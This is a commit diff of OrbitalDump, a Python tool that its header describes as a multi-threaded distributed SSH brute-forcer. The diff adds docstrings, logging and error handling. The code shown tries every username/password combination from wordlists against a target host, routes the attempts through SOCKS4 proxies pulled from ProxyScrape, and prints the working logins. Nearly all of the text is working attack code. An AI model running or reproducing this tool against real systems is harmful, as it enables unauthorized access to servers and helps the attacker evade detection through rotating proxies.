44Name: OrbitalDump
55Author: K4YT3X
66Date Created: June 6, 2021
7- Last Modified: June 6 , 2021
7+ Last Modified: July 5 , 2021
88
99A simple multi-threaded distributed SSH brute-forcing tool written in Python.
1010"""
@@ -34,6 +34,13 @@ def __init__(
3434 valid_credentials : list ,
3535 proxies : collections .deque = None ,
3636 ):
37+ """
38+ SSH brute forcer initialization function
39+
40+ :param jobs queue.Queue: a queue object containing scanning jobs
41+ :param valid_credentials list: a list to contain valid credentials
42+ :param proxies collections.deque: a deque of proxies to use
43+ """
3744 threading .Thread .__init__ (self )
3845 self .jobs = jobs
3946 self .valid_credentials = valid_credentials
@@ -123,7 +130,12 @@ def stop(self):
123130 self .join ()
124131
125132
126- def parse_arguments ():
133+ def parse_arguments () -> argparse .Namespace :
134+ """
135+ parse command line arguments
136+
137+ :rtype argparse.Namespace: namespace storing the parsed arguments
138+ """
127139
128140 parser = argparse .ArgumentParser (
129141 prog = "orbitaldump" ,
@@ -155,6 +167,12 @@ def parse_arguments():
155167
156168
157169def get_proxies () -> collections .deque :
170+ """
171+ retrieve a list(deque) of usable SOCKS4 proxies from ProxyScrape
172+ the format looks something like deque(["1.1.1.1:1080", "2.2.2.2:1080"])
173+
174+ :rtype collections.deque: a deque of proxies
175+ """
158176 logger .info ("Retrieving SOCKS4 proxies from ProxyScrape" )
159177 proxies_request = requests .get (
160178 "https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks4&timeout=10000&country=all"
@@ -176,80 +194,99 @@ def main():
176194 # disable built-in logging so paramiko won't print tracebacks
177195 logging .basicConfig (level = logging .CRITICAL )
178196
179- # parse command line arguments
180- args = parse_arguments ()
181-
182- # verify argument validity
183- assert args .threads >= 1 , "number of threads must >= 1"
184- assert args .username .is_file (), "username file does not exist"
185- assert args .password .is_file (), "password file does not exist"
186- assert args .port >= 0 , "the port number must >= 0"
187- assert args .timeout >= 0 , "timeout must >= 0"
188-
189- # initialize variables
190- thread_pool = []
191- jobs = queue .Queue ()
192- valid_credentials = []
193-
194- # get proxies from ProxyScrape
195- proxies = None
196- if args .proxies :
197- proxies = get_proxies ()
198-
199- # create threads
200- logger .info (f"Launching { args .threads } brute-forcer threads" )
201- for thread_id in range (args .threads ):
202- thread = SshBruteForcer (jobs , valid_credentials , proxies )
203- thread .name = str (thread_id )
204- thread .start ()
205- thread_pool .append (thread )
206-
207- # add username and password combinations to jobs queue
208- logger .info ("Loading usernames and passwords into queue" )
209- with args .username .open ("r" ) as username_file :
210- with args .password .open ("r" ) as password_file :
211- for username in username_file :
212- for password in password_file :
213- jobs .put (
214- (
215- args .hostname ,
216- username .strip (),
217- password .strip (),
218- args .port ,
219- args .timeout ,
220- )
221- )
197+ # remove built-in logger sink
198+ logger .remove (0 )
199+
200+ # add custom logger sink
201+ logger .add (
202+ sys .stderr ,
203+ colorize = True ,
204+ format = "<fg 240>{time:HH:mm:ss.SSSSSS!UTC}</fg 240> | <level>{level: <8}</level> | <level>{message}</level>" ,
205+ )
222206
223207 try :
224- while not jobs .empty ():
225- for thread in thread_pool :
226- if not thread .is_alive ():
227- logger .error (
228- f"Thread { thread .name } exited early with errors" ,
229- file = sys .stderr ,
230- )
208+ # parse command line arguments
209+ args = parse_arguments ()
210+
211+ # verify argument validity
212+ try :
213+ assert args .threads >= 1 , "number of threads must >= 1"
214+ assert args .username .is_file (), "username file does not exist"
215+ assert args .password .is_file (), "password file does not exist"
216+ assert args .port >= 0 , "the port number must >= 0"
217+ assert args .timeout >= 0 , "timeout must >= 0"
218+ except AssertionError as e :
219+ logger .error (e )
220+ sys .exit (1 )
221+
222+ # initialize variables
223+ thread_pool = []
224+ jobs = queue .Queue ()
225+ valid_credentials = []
226+
227+ # get proxies from ProxyScrape
228+ proxies = None
229+ if args .proxies :
230+ proxies = get_proxies ()
231+
232+ # create threads
233+ logger .info (f"Launching { args .threads } brute-forcer threads" )
234+ for thread_id in range (args .threads ):
235+ thread = SshBruteForcer (jobs , valid_credentials , proxies )
236+ thread .name = str (thread_id )
237+ thread .start ()
238+ thread_pool .append (thread )
239+
240+ # add username and password combinations to jobs queue
241+ logger .info ("Loading usernames and passwords into queue" )
242+ with args .username .open ("r" ) as username_file :
243+ with args .password .open ("r" ) as password_file :
244+ for username in username_file :
245+ for password in password_file :
246+ jobs .put (
247+ (
248+ args .hostname ,
249+ username .strip (),
250+ password .strip (),
251+ args .port ,
252+ args .timeout ,
253+ )
254+ )
231255
232- for thread in thread_pool :
233- if thread .is_alive ():
256+ try :
257+ while not jobs .empty ():
258+ for thread in thread_pool :
259+ if not thread .is_alive ():
260+ logger .error (
261+ f"Thread { thread .name } exited early with errors" ,
262+ file = sys .stderr ,
263+ )
264+
265+ for thread in thread_pool :
266+ if thread .is_alive ():
267+ break
268+ else :
234269 break
235- else :
236- break
237270
238- except (SystemExit , KeyboardInterrupt ):
239- logger .warning ("Stop signal received, stopping threads" )
271+ except (SystemExit , KeyboardInterrupt ):
272+ logger .warning ("Stop signal received, stopping threads" )
240273
241- finally :
242- for thread in thread_pool :
243- thread .stop ()
274+ finally :
275+ for thread in thread_pool :
276+ thread .stop ()
277+
278+ for thread in thread_pool :
279+ thread .join ()
244280
245- for thread in thread_pool :
246- thread .join ()
281+ logger .success (
282+ f"Brute-force completed, { len (valid_credentials )} valid credentials found"
283+ )
284+ for hostname , username , password , port , timeout in valid_credentials :
285+ print (f"{ username } @{ hostname } :{ port } :{ password } " )
247286
248- logger .success (
249- f"Brute-force completed, { len (valid_credentials )} valid credentials found"
250- )
251- for hostname , username , password , port , timeout in valid_credentials :
252- print (f"{ username } @{ hostname } :{ port } :{ password } " )
287+ except Exception as e :
288+ logger .exception (e )
289+ sys .exit (1 )
253290
254291
255292# launch the main function if this file is ran directly
0 commit comments